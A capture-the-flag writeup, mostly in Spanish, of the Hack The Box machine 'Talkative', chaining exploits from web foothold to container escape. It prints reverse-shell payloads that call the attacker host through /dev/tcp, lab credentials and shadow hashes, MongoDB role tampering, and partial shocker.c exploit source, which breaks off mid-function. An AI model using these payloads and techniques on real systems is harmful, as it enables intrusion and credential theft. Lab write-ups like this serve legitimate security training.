Hack The Box: Talkative Writeup | Hard

Table of Contents

Hack The Box: Talkative Writeup

Welcome to my detailed writeup of the hard difficulty machine “Talkative” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.222.158 --ulimit 5000 -g
210.129.222.158 -> [80,8080,8081,8082]
 1$ nmap -p80,8080,8081,8082 -sCV 10.129.222.158 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 20:02 CEST
 3Nmap scan report for 10.129.222.158
 4Host is up (0.037s latency).
 5
 6PORT     STATE SERVICE VERSION
 780/tcp   open  http    Apache httpd 2.4.52
 8|_http-server-header: Apache/2.4.52 (Debian)
 9|_http-title: Did not follow redirect to http://talkative.htb
108080/tcp open  http    Tornado httpd 5.0
11|_http-title: jamovi
12|_http-server-header: TornadoServer/5.0
138081/tcp open  http    Tornado httpd 5.0
14|_http-server-header: TornadoServer/5.0
15|_http-title: 404: Not Found
168082/tcp open  http    Tornado httpd 5.0
17|_http-server-header: TornadoServer/5.0
18|_http-title: 404: Not Found
19Service Info: Host: 172.17.0.15
20
21Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.222.158 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 20:03 CEST
 3Nmap scan report for 10.129.222.158
 4Host is up (0.037s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7959/udp   closed unknown
 81060/udp  closed polestar
 921566/udp closed unknown
1023585/udp closed unknown
1134433/udp closed unknown
1241058/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

HTTP Enumeration

Encontramos un dominio, talkative.htb y detectamos 4 servicios web. 80/TCP , 8080/TCP , 8081/TCP , 8082/TCP

Enumerando los servicios HTTP podemos encontrar varios posibles usuarios.

HTML Injection

Encuentro este punto que es vulnerable a inyección HTML. Pero no he conseguido cargar scripts maliciosos, me lo apunto por si mas adelante hace falta. Write-up Image

Tambien fuzzeando parece que tiene una especie de Rate Limiter por lo cual hace mas complicado el reconocimiento.

También encontramos un formulario, que tras inspeccionar el código no he visto la etiqueta <form> , al intentar enviarlo salta lo siguiente. Write-up Image

En la página se ofrecen servicios de mensajería, SMS, chat… Por lo cual voy a apuntarme los correos electrónicos por si los necesito.

Discovering BoltCMS

Analizando las cabeceras encontramos que probablemente exista un BoltCMS detrás. Y además encontrado un recurso /api/docs.json que nos muestra varios endpoints. Write-up Image

Probando algunas rutas de estos endpoints, fui redireccionado al panel de BoltCMS Write-up Image

Existen varias vulnerabilidades asociadas a BoltCMS. Por lo cual probablemente tenga que buscar la forma de poder iniciar sesión. Write-up Image

Abusing Jamovi | Container 1 Foothold

Vemos por el puerto 8080 un servicio jamovi el cual tiene una vulnerabilidad XSS asociada, y casualmente el mensaje de “bienvenida” es realizando un aviso de seguridad. Revisando el CVE-2021-28079 vemos que este XSS se basa en la explotación de un fallo en ElectronJS, por lo cual podríamos fabricar un document .omv que contenta un payload y cuando sea abierto por la víctima, podremos conseguir ejecución de comandos. Write-up Image

Re-leyendo los mensajes de la página principal, quiero pensar que van por aquí los tiros. Write-up Image

Podemos ver incluso la raíz del sistema de la máquina que está hosteando esta instancia de jamovi. Write-up Image

Aunque esta instancia tiene instalado el módulo Rj - Editor por lo cual podemos ejecutar código en R Write-up Image

En este post podemos ver como ejecutar comandos a nivel de sistema en R

Write-up Image

Nos podemos poner en escucha con netcat

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...

Y con el siguiente payload ganar acceso

1system2("echo", "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkxLzQ0MyAwPiYx|base64 -d|bash", stdout = TRUE, stderr = TRUE)

Y podemos ver que ganamos acceso como root a un contenedor.

 1$ sudo rlwrap -cEr nc -lvnp 443
 2listening on [any] 443 ...
 3connect to [10.10.14.91] from (UNKNOWN) [10.129.222.158] 56386
 4bash: cannot set terminal process group (1): Inappropriate ioctl for device
 5bash: no job control in this shell
 6root@b06821bbda78:/# whoami
 7whoami
 8root
 9root@b06821bbda78:/# ip a
10ip a
11bash: ip: command not found
12root@b06821bbda78:/# ifconfig
13ifconfig
14bash: ifconfig: command not found
15root@b06821bbda78:/# hostname -I
16hostname -I
17172.18.0.2 
18root@b06821bbda78:/#

Information Leakage

Encontramos en el directorio /root un archivo bolt-administration.omv

 1root@b06821bbda78:~# ls -la
 2ls -la
 3total 32
 4drwx------ 1 root root 4096 Mar  7  2022 .
 5drwxr-xr-x 1 root root 4096 Mar  7  2022 ..
 6lrwxrwxrwx 1 root root    9 Mar  7  2022 .bash_history -> /dev/null
 7-rw-r--r-- 1 root root 3106 Oct 22  2015 .bashrc
 8drwxr-xr-x 3 root root 4096 Aug  6 16:47 .jamovi
 9-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
10drwxrwxrwx 1 root root 4096 Aug  6 16:45 Documents
11-rw-r--r-- 1 root root 2192 Aug 15  2021 bolt-administration.omv

Nos podemos pasar este archivo a nuestra máquina codificándolo en base64 y en nuestra máquina decodificándolo y luego con md5sum comprobar la integridad del archivo

1root@b06821bbda78:~# md5sum bolt*
2md5sum bolt*
389a471297760280c51d7a48246f95628  bolt-administration.omv
1$ md5sum bolt-administration.omv 
289a471297760280c51d7a48246f95628  bolt-administration.omv

Con file nos reporta que es un archivo JAR

Por lo cual podemos descomprimirlo y echarle un vistazo

1$ unzip bolt-administration.omv
2Archive:  bolt-administration.omv
3  inflating: META-INF/MANIFEST.MF    
4  inflating: meta                    
5  inflating: index.html              
6  inflating: metadata.json           
7  inflating: xdata.json              
8  inflating: data.bin                
9  inflating: 01 empty/analysis

Encontramos un archivo xdata.json

 1{
 2  "A": {
 3    "labels": [
 4      [
 5        0,
 6        "Username",
 7        "Username",
 8        false
 9      ],
10      [
11        1,
12        "matt@talkative.htb",
13        "matt@talkative.htb",
14        false
15      ],
16      [
17        2,
18        "janit@talkative.htb",
19        "janit@talkative.htb",
20        false
21      ],
22      [
23        3,
24        "saul@talkative.htb",
25        "saul@talkative.htb",
26        false
27      ]
28    ]
29  },
30  "B": {
31    "labels": [
32      [
33        0,
34        "Password",
35        "Password",
36        false
37      ],
38      [
39        1,
40        "jeO09ufhWD<s",
41        "jeO09ufhWD<s",
42        false
43      ],
44      [
45        2,
46        "bZ89h}V<S_DA",
47        "bZ89h}V<S_DA",
48        false
49      ],
50      [
51        3,
52        ")SQWGm>9KHEA",
53        ")SQWGm>9KHEA",
54        false
55      ]
56    ]
57  },
58  "C": {
59    "labels": []
60  }
61}

Abusing BoltCMS | Docker Container 2

Ahora que tenemos credenciales podemos intentar iniciar sesión en el BoltCMS Write-up Image

Probando con admin:bZ89h}V<S_DA consigo iniciar sesión. Siguiendo este artículo de HackTricks

Puedo fijarme en el tema actual que esté en uso, e intentar editarlo para siguiendo el formato en .twig, ejecutar comandos en el sistema de forma remota.

El tema es base-2021 Write-up Image

Editamos la plantilla y añadimos nuestro payload.. Write-up Image

Ahora nos dirigimos a Maintenance -> Clear the Cache

Y si nos ponemos en escucha con netcat y recargamos la página inicial…

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.91] from (UNKNOWN) [10.129.222.158] 44350
4bash: cannot set terminal process group (1): Inappropriate ioctl for device
5bash: no job control in this shell
6www-data@6d4489211cb5:/var/www/talkative.htb/bolt/public$ hostname -I
7hostname -I
8172.17.0.15 
9www-data@6d4489211cb5:/var/www/talkative.htb/bolt/public$

En esta máquina no encontramos nada importante, además que no consigo escalar a root

Escaping the Container | Network Reconnaissance

Podemos hacer un one-liner en bash para escanear nuestro entorno

1for i in {1..254}; do timeout 1 bash -c "echo >/dev/tcp/172.17.0.$i/80" 2>/dev/null && echo "Host 172.17.0.$i is up"; done

Nos reporta una gran lista.

 1Host 172.17.0.1 is up
 2Host 172.17.0.2 is up
 3Host 172.17.0.3 is up
 4Host 172.17.0.4 is up
 5Host 172.17.0.5 is up
 6Host 172.17.0.6 is up
 7Host 172.17.0.7 is up
 8Host 172.17.0.8 is up
 9Host 172.17.0.9 is up
10Host 172.17.0.10 is up
11Host 172.17.0.11 is up
12
13Host 172.17.0.12 is up
14Host 172.17.0.13 is up
15Host 172.17.0.14 is up
16Host 172.17.0.15 is up
17Host 172.17.0.16 is up
18Host 172.17.0.17 is up
19Host 172.17.0.18 is up
20Host 172.17.0.19 is up

Podemos crearnos un pequeño escáner de puertos.

1#!/usr/bin/env bash
2IP="$1"; for port in $(seq 1 65535); do (echo '.' >/dev/tcp/$IP/$port && echo "OPEN: $port" &) 2>/dev/null; done

(Estoy utilizando pwncat-cs de ahí el formato de la shell)

 1(remote) www-data@6d4489211cb5:/tmp$ ./portscan.sh 172.17.0.1
 2OPEN: 22
 3OPEN: 80
 4OPEN: 6000
 5OPEN: 6001
 6OPEN: 6002
 7OPEN: 6003
 8OPEN: 6004
 9OPEN: 6005
10OPEN: 6006
11OPEN: 6007
12OPEN: 6008
13OPEN: 6009
14OPEN: 6010
15OPEN: 6011
16OPEN: 6012
17OPEN: 6013
18OPEN: 6014
19OPEN: 6015
20OPEN: 8080
21OPEN: 8081
22OPEN: 8082

Vemos que está abierto el puerto 22/TCP (SSH) cosa que no está de forma externa en la máquina 172.17.0.1, que supongo que será la máquina víctima.

Reverse Port Forwarding

Para trabajar de forma cómoda y poder utilizar hydra para hacer un ataque por diccionario. Voy a utilizar chisel para hacer reverse port-forwarding.

Write-up ImagePara ello, con pwncat-cs (lo estoy probando :) ) nos compartimos el chisel

En nuestro equipo nos ponemos en escucha con chisel por el puerto 1234

1$ sudo /opt/chisel/chisel server --reverse -p 1234

Importante tener permisos de root para esto ya que vamos a utilizar el puerto local 22, y para ello se necesita permisos de superusuario (hasta el puerto 1024)

Ahora en la máquina víctima..

1(remote) www-data@6d4489211cb5:/tmp$ ./chisel client 10.10.14.91:1234 R:22:172.17.0.1:22

Ahora podemos comprobar en nuestra máquina de atacante, que nuestro puerto local 22 es el puerto 22 de la máquina 172.17.0.1.

 1$ nmap -p22 127.0.0.1 -sCV
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 21:56 CEST
 3Nmap scan report for localhost (127.0.0.1)
 4Host is up (0.00020s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 9c:86:6a:02:bf:45:06:52:6c:29:1d:a0:4e:9e:4a:df (RSA)
10|   256 98:3e:0d:0c:17:d3:2d:98:5f:a2:89:0c:b6:22:9b:33 (ECDSA)
11|_  256 03:51:c3:e8:7a:b3:6e:c6:0c:67:50:ef:b0:b4:e0:37 (ED25519)
12Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Foothold

Ahora con hydra podemos hacer un ataque por diccionario y…

 1$ hydra -L users.txt -P passwords.txt 127.0.0.1 ssh -t 4 -I -V
 2Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
 3
 4Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-06 21:57:55
 5[DATA] max 4 tasks per 1 server, overall 4 tasks, 21 login tries (l:7/p:3), ~6 tries per task
 6[DATA] attacking ssh://127.0.0.1:22/
 7[ATTEMPT] target 127.0.0.1 - login "janit" - pass "jeO09ufhWD<s" - 1 of 21 [child 0] (0/0)
 8[ATTEMPT] target 127.0.0.1 - login "janit" - pass "bZ89h}V<S_DA" - 2 of 21 [child 1] (0/0)
 9[ATTEMPT] target 127.0.0.1 - login "janit" - pass ")SQWGm>9KHEA" - 3 of 21 [child 2] (0/0)
10[ATTEMPT] target 127.0.0.1 - login "saul" - pass "jeO09ufhWD<s" - 4 of 21 [child 3] (0/0)
11[22][ssh] host: 127.0.0.1   login: saul   password: jeO09ufhWD<s

Podemos iniciar sesión en la máquina víctima utilizando el combo ``saul:jeO09ufhWD<s`.

 1$ sshpass -p 'jeO09ufhWD<s' ssh saul@127.0.0.1
 2Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/advantage
 7
 8  System information as of Tue 06 Aug 2024 06:01:21 PM UTC
 9
10  System load:                      0.0
11  Usage of /:                       73.2% of 8.80GB
12  Memory usage:                     56%
13  Swap usage:                       30%
14  Processes:                        391
15  Users logged in:                  0
16  IPv4 address for br-ea74c394a147: 172.18.0.1
17  IPv4 address for docker0:         172.17.0.1
18  IPv4 address for eth0:            10.129.222.158
19  IPv6 address for eth0:            dead:beef::250:56ff:fe94:f20
20
21
2218 updates can be applied immediately.
238 of these updates are standard security updates.
24To see these additional updates run: apt list --upgradable
25
26
27The list of available updates is more than a week old.
28To check for new updates run: sudo apt update
29Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
30
31
32Last login: Tue Aug  6 18:01:02 2024 from 172.17.0.15
33saul@talkative:~$ whoami
34saul

Recordad que tenemos que iniciar sesión contra la 127.0.0.1:22 ya que por el reverse port-forwarding, este puerto corresponde al puerto 22 de la máquina 172.17.0.1 cuyo servicio SSH no estaba expuesto hacia el exterior.

 1saul@talkative:~$ ifconfig eth0
 2eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
 3        inet 10.129.222.158  netmask 255.255.0.0  broadcast 10.129.255.255
 4        inet6 dead:beef::250:56ff:fe94:f20  prefixlen 64  scopeid 0x0<global>
 5        inet6 fe80::250:56ff:fe94:f20  prefixlen 64  scopeid 0x20<link>
 6        ether 00:50:56:94:0f:20  txqueuelen 1000  (Ethernet)
 7        RX packets 146752  bytes 24721297 (24.7 MB)
 8        RX errors 0  dropped 0  overruns 0  frame 0
 9        TX packets 119348  bytes 68665418 (68.6 MB)
10        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Podemos comprobar que estamos en la máquina víctima.

1saul@talkative:~$ cat user.txt
256a0d2ba1f6e9e72...

Y ya podríamos ver la flag..

Privilege Escalation

1saul@talkative:/home$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash

Somos el único usuario en el sistema a parte de root , así que supongo que no va a ser necesario migrar de usuario para conseguir la escalada de privilegios.

Una cosa curiosa, es que hay muchas interfaces de red sobre Docker. Así que podríamos intentar enumerar los servicios de docker a ver si encontramos algún contenedor interesante.

Primero vamos a detectar que hosts están activos en el Docker

 1for i in {1..254}; do ping -c 1 -W 1 172.17.0.$i &> /dev/null && echo "Host 172.17.0.$i is up"; done
 2
 3Host 172.17.0.1 is up
 4Host 172.17.0.2 is up
 5Host 172.17.0.3 is up
 6Host 172.17.0.4 is up
 7Host 172.17.0.5 is up
 8Host 172.17.0.6 is up
 9Host 172.17.0.7 is up
10Host 172.17.0.8 is up
11Host 172.17.0.9 is up
12Host 172.17.0.10 is up
13Host 172.17.0.11 is up
14Host 172.17.0.12 is up
15Host 172.17.0.13 is up
16Host 172.17.0.14 is up
17Host 172.17.0.15 is up
18Host 172.17.0.16 is up
19Host 172.17.0.17 is up
20Host 172.17.0.18 is up
21Host 172.17.0.19 is up

Y todos son los hosts que habíamos detectado anteriormente. Como son bastantes, voy a ir enumerando que puertos tienen abiertos uno a uno. (Excepto el 172.17.0.1 ya que es la máquina víctima)

Me interesa este puerto, ya que suele pertenecer a una base de datos MongoDB , en muchas de estas base de datos puedes hacer consultas sin necesidad de estar autenticado.

1saul@talkative:/tmp$ ./portscan.sh 172.17.0.2
2OPEN: 27017

La otra mayoría de máquinas tienen solo abierto el puerto 80 y no contiene nada al hacer un curl

Reverse Port Forwarding

Así que para analizar este puerto mas a fondo, vamos a hacer otro reverse port-forwarding.

Pero esta vez no necesitamos chisel ya que tenemos la conexión por SSH.

Esta vez, el port-forwarding no lo va a empezar la máquina dentro del contendor, si no la máquina anfitriona, ya que queremos exponer el puerto 27017 de un contenedor hacia nuestra máquina.

No sé si se entenderá pero os dejo un pequeño esquema. Write-up Image

Hacemos el port-forwarding..

1$ sshpass -p 'jeO09ufhWD<s' ssh -L 127.0.0.1:27017:172.17.0.2:27017 saul@127.0.0.1

Y vemos que efectivamente, este servicio corresponde a una base de datos MongoDB

1$ nmap -p 27017 127.0.0.1 -sCV
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 22:20 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.00018s latency).
5
6PORT      STATE SERVICE VERSION
727017/tcp open  mongodb MongoDB 4.0.26 4.0.26
8...

Enumerating MongoDB

Ahora podemos instalar mongosh, he tomado de referencia esta publicación

 1$ mongosh mongodb://127.0.0.1:27017
 2Current Mongosh Log ID:	66b286cfb47184f885838725
 3Connecting to:		mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.2.15
 4Using MongoDB:		4.0.26
 5Using Mongosh:		2.2.15
 6
 7For mongosh info see: https://docs.mongodb.com/mongodb-shell/
 8
 9------
10   The server generated these startup warnings when booting
11   2024-08-06T16:01:00.220+0000: 
12   2024-08-06T16:01:00.220+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
13   2024-08-06T16:01:00.220+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem
14   2024-08-06T16:01:01.206+0000: 
15   2024-08-06T16:01:01.207+0000: ** WARNING: Access control is not enabled for the database.
16   2024-08-06T16:01:01.207+0000: **          Read and write access to data and configuration is unrestricted.
17   2024-08-06T16:01:01.207+0000:
18------
19
20rs0 [direct: primary] test>

Y sin necesidad de autenticarnos, podemos enumerar la base de datos.

Vemos que hay tablas asociadas a una aplicación llamada rocketchat . De esta aplicación se hablaba en la página principal, además, rocketchat utiliza meteor.js, bonito juego de palabras…

rs0 [direct: primary] test> show databases
admin   104.00 KiB
config  124.00 KiB
local    11.37 MiB
meteor    4.64 MiB
rs0 [direct: primary] test> use meteor
switched to db meteor
rs0 [direct: primary] meteor> show collections
_raix_push_app_tokens
_raix_push_notifications
instances
meteor_accounts_loginServiceConfiguration
meteor_oauth_pendingCredentials
meteor_oauth_pendingRequestTokens
migrations
rocketchat__trash
rocketchat_apps
rocketchat_apps_logs
rocketchat_apps_persistence
rocketchat_avatars
rocketchat_avatars.chunks
rocketchat_avatars.files
rocketchat_credential_tokens
rocketchat_cron_history
rocketchat_custom_emoji
rocketchat_custom_sounds
rocketchat_custom_user_status
rocketchat_export_operations
rocketchat_federation_dns_cache
rocketchat_federation_keys
rocketchat_federation_room_events
rocketchat_federation_servers
rocketchat_import
rocketchat_integration_history
rocketchat_integrations
rocketchat_invites
rocketchat_livechat_agent_activity
rocketchat_livechat_custom_field
rocketchat_livechat_department
rocketchat_livechat_department_agents
rocketchat_livechat_external_message
rocketchat_livechat_inquiry
rocketchat_livechat_office_hour
rocketchat_livechat_page_visited
rocketchat_livechat_trigger
rocketchat_livechat_visitor
rocketchat_message
rocketchat_message_read_receipt
rocketchat_oauth_apps
rocketchat_oembed_cache
rocketchat_permissions
rocketchat_reports
rocketchat_roles
rocketchat_room
rocketchat_sessions
rocketchat_settings
rocketchat_smarsh_history
rocketchat_statistics
rocketchat_subscription
rocketchat_uploads
rocketchat_user_data_files
rocketchat_webdav_accounts
ufsTokens
users
usersSessions
view_livechat_queue_status                 [view]
system.views
rs0 [direct: primary] meteor>

Creating RocketChat admin Account

Vale, ahora podría modificar la base de datos de rocketchat para poder crear una cuenta de administrador, o intentar crackear los hashes de usuarios pero… una pregunta… ¿Dónde está este rocketchat?

Después de volverme loco un rato, escaneé otra vez los puertos por TCP y… Write-up Image

Supongo que realicé el escaneo inicial de puertos demasiado rápido y no dejé tiempo a iniciar la máquina. Write-up Image

db.users.find()

 1[
 2  {
 3    "_id": "rocket.cat",
 4    "createdAt": ISODate("2021-08-10T19:44:00.224Z"),
 5    "avatarOrigin": "local",
 6    "name": "Rocket.Cat",
 7    "username": "rocket.cat",
 8    "status": "online",
 9    "statusDefault": "online",
10    "utcOffset": 0,
11    "active": true,
12    "type": "bot",
13    "_updatedAt": ISODate("2021-08-10T19:44:00.615Z"),
14    "roles": [ "bot" ]
15  },
16  {
17    "_id": "ZLMid6a4h5YEosPQi",
18    "createdAt": ISODate("2021-08-10T19:49:48.673Z"),
19    "services": {
20      "password": {
21        "bcrypt": "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y"
22      },
23      "email": {
24        "verificationTokens": [
25          {
26            "token": "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w",
27            "address": "saul@talkative.htb",
28            "when": ISODate("2021-08-10T19:49:48.738Z")
29          }
30        ]
31      },
32      "resume": { loginTokens: [] }
33    },
34    "emails": [ { address: "saul@talkative.htb", verified: false } ],
35    "type": "user",
36    "status": "offline",
37    "active": true,
38    "_updatedAt": ISODate("2024-08-06T16:12:04.633Z"),
39    "roles": [ "admin" ],
40    "name": "Saul Goodman",
41    "lastLogin": ISODate("2022-03-15T17:06:56.543Z"),
42    "statusConnection": "offline",
43    "username": "admin",
44    "utcOffset": 0
45  }
46]

Antes que ponerme a crackear los hashes, hay una cuenta rocket.cat que tiene el rol de bot. Lo tendré en cuenta.

Y para qué romper el hash si puedo crearme una cuenta de administrador ya que controlo la base de datos.

Primero nos creamos una cuenta de usuario.. Write-up Image

Y ahora podemos comprobar en la base de datos que se ha creado mi cuenta correctamente.

emails: [ { address: "pointed@talkative.htb", verified: false } ],
    type: "user",
    status: "online",
    active: true,
    _updatedAt: ISODate("2024-08-06T18:38:40.311Z"),
    roles: [ "user" ],
    name: "pointed",
    lastLogin: ISODate("2024-08-06T18:38:36.002Z"),
    statusConnection: "online",
    utcOffset: 2,
    username: "pointed"

Y ahora solo habría que cambiar el cambio roles y añadir admin que es lo que tiene el usuario saul. Quiero pensar que así me convertiré en administrador de este servicio.

1db.users.update({"_id": "7i6rDHBTt3DLyLLjF"}, { $set: { "roles" : ["admin"]}})

Write-up Image Asignamos el rol de admin a mi ID de usuario. Ahora podemos comprobar que esto a funcionado, aunque vemos el campo modifiedCount: 1 nunca está de mas comprobarlo.

...
emails: [ { address: 'pointed@talkative.htb', verified: false } ],
    type: 'user',
    status: 'online',
    active: true,
    _updatedAt: ISODate('2024-08-06T18:38:40.311Z'),
    roles: [ 'admin' ],
    name: 'pointed',
    lastLogin: ISODate('2024-08-06T18:38:36.002Z'),
    statusConnection: 'online',
    utcOffset: 2,
    username: 'pointed'
...

Y ahora podemos acceder al recurso /admin así que esto a funcionado. Write-up Image

Foothold in Container 3

Ahora, siguiendo este post de HackTricks podemos conseguir RCE creando un WebHook y estableciendo un script malicioso que se ejecutará en la máquina víctima.

Nos dirigimos a Integrations -> New Integration -> Incoming WebHook

Rellenamos los datos que se nos pide.

Y en el apartado de Script Enabled , seleccionamos True y establecemos el script que se ejecutará cuando se reciba una petición al WebHook. Write-up Image

1const require = console.log.constructor('return process.mainModule.require')();
2const { exec } = require('child_process');
3exec("bash -c 'bash -i >& /dev/tcp/10.10.14.91/443 0>&1'")

Le damos a Save changes. Y se nos genera una URL para poder utilizar el webhook que hemos creado. Write-up Image

Ahora si nos ponemos en escucha por el puerto 443.

1$ sudo pwncat-cs -lp 443

Y en el navegador abrimos la URL que nos ha dado (http://talkative.htb:3000/hooks/MKurWc9BYP8GQvs6v/F9cdMw7hYiRYBH7A75cpehnkszDJnYo7AbsAkQdvHtWgAjEf)

Vemos que recibimos la sesión.

[22:47:55] received connection from 10.129.222.158:60628                        bind.py:84
[22:47:57] 10.129.222.158:60628: registered new host w/ db
1(remote) root@c150397ccd63:/app/bundle/programs/server# whoami
2root
3(remote) root@c150397ccd63:/app/bundle/programs/server# hostname -I
4172.17.0.3

Vamos a subir el linpeas.sh ya que no encuentro nada interesante en este contenedor, ningún archivo, ni credencial…

/tmp/linpeas.sh ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 862.8/862.8 KB • ? • 0:00:00
[22:54:10] uploaded 862.78KiB in 2.27 seconds

No encuentro nada interesante. Así que vamos a ejecutar cdk , una herramienta para enumerar vías para escalar privilegios en contenedores docker.

Subimos el cdk al contenedor..

(local) pwncat$ upload cdk /tmp/cdk
/tmp/cdk ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 12.0/12.0 MB • 2.3 MB/s • 0:00:00
[23:03:22] uploaded 12.02MiB in 6.39 seconds

Con cdk realizamos un escaneo inicial, a ver si detecta algo. (remote) root@c150397ccd63:/tmp# ./cdk evaluate --full

¡Y encontramos algo! Write-up Image

Tenemos una capability, CAP_DAC_READ_SEARCH con la cual podríamos leer archivos de la máquina anfitriona. cdk nos aconseja que podríamos leer los archivos del host utilizando cdk run cap-dac-read-search

 1./cdk run cap-dac-read-search
 2Running with target: /etc/shadow, ref: /etc/hostname
 3root:$6$9GrOpvcijuCP93rg$tkcyh.ZwH5w9AHrm66awD9nLzMHv32QqZYGiIfuLow4V1PBkY0xsKoyZnM3.AI.yGWfFLOFDSKsIR9XnKLbIY1:19066:0:99999:7:::
 4daemon:*:18659:0:99999:7:::
 5bin:*:18659:0:99999:7:::
 6sys:*:18659:0:99999:7:::
 7sync:*:18659:0:99999:7:::
 8games:*:18659:0:99999:7:::
 9man:*:18659:0:99999:7:::
10lp:*:18659:0:99999:7:::
11mail:*:18659:0:99999:7:::
12news:*:18659:0:99999:7:::
13uucp:*:18659:0:99999:7:::
14proxy:*:18659:0:99999:7:::
15www-data:*:18659:0:99999:7:::
16backup:*:18659:0:99999:7:::
17list:*:18659:0:99999:7:::
18irc:*:18659:0:99999:7:::
19gnats:*:18659:0:99999:7:::
20nobody:*:18659:0:99999:7:::
21systemd-network:*:18659:0:99999:7:::
22systemd-resolve:*:18659:0:99999:7:::
23systemd-timesync:*:18659:0:99999:7:::
24messagebus:*:18659:0:99999:7:::
25syslog:*:18659:0:99999:7:::
26_apt:*:18659:0:99999:7:::
27tss:*:18659:0:99999:7:::
28uuidd:*:18659:0:99999:7:::
29tcpdump:*:18659:0:99999:7:::
30landscape:*:18659:0:99999:7:::
31pollinate:*:18659:0:99999:7:::
32usbmux:*:18849:0:99999:7:::
33sshd:*:18849:0:99999:7:::
34systemd-coredump:!!:18849::::::
35lxd:!:18849::::::
36saul:$6$19rUyMaBLt7.CDGj$ik84VX1CUhhuiMHxq8hSMjKTDMxHt.ldQC15vFyupafquVyonyyb3/S6MO59tnJHP9vI5GMvbE9T4TFeeeKyg1:19058:0:99999:7:::

Y efectivamente, es vulnerable.

Pero como cdk te automatiza la explotación, no se podría utilizar en el OSCP.

¡Así que vamos a explotarlo manualmente!

Podemos utilizar un exploit de openwall llamado shocker.c y modificarlo para conseguir lo que queramos. https://tbhaxor.com/container-breakout-part-2/ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

  1#include <stdio.h>
  2#include <sys/types.h>
  3#include <sys/stat.h>
  4#include <fcntl.h>
  5#include <errno.h>
  6#include <stdlib.h>
  7#include <string.h>
  8#include <unistd.h>
  9#include <dirent.h>
 10#include <stdint.h>
 11
 12// gcc shocker.c -o shocker
 13// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
 14
 15struct my_file_handle {
 16    unsigned int handle_bytes;
 17    int handle_type;
 18    unsigned char f_handle[8];
 19};
 20
 21void die(const char *msg)
 22{
 23    perror(msg);
 24    exit(errno);
 25}
 26
 27void dump_handle(const struct my_file_handle *h)
 28{
 29    fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
 30    h->handle_type);
 31    for (int i = 0; i < h->handle_bytes; ++i) {
 32        fprintf(stderr,"0x%02x", h->f_handle[i]);
 33        if ((i + 1) % 20 == 0)
 34        fprintf(stderr,"\n");
 35        if (i < h->handle_bytes - 1)
 36        fprintf(stderr,", ");
 37    }
 38    fprintf(stderr,"};\n");
 39}
 40
 41int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
 42*oh)
 43{
 44    int fd;
 45    uint32_t ino = 0;
 46    struct my_file_handle outh = {
 47    .handle_bytes = 8,
 48    .handle_type = 1
 49    };
 50    DIR *dir = NULL;
 51    struct dirent *de = NULL;
 52    path = strchr(path, '/');
 53    // recursion stops if path has been resolved
 54    if (!path) {
 55        memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
 56        oh->handle_type = 1;
 57        oh->handle_bytes = 8;
 58        return 1;
 59    }
 60
 61    ++path;
 62    fprintf(stderr, "[*] Resolving '%s'\n", path);
 63    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
 64        die("[-] open_by_handle_at");
 65    if ((dir = fdopendir(fd)) == NULL)
 66        die("[-] fdopendir");
 67    for (;;) {
 68        de = readdir(dir);
 69        if (!de)
 70        break;
 71        fprintf(stderr, "[*] Found %s\n", de->d_name);
 72        if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
 73            fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
 74            ino = de->d_ino;
 75            break;
 76        }
 77    }
 78
 79    fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
 80    if (de) {
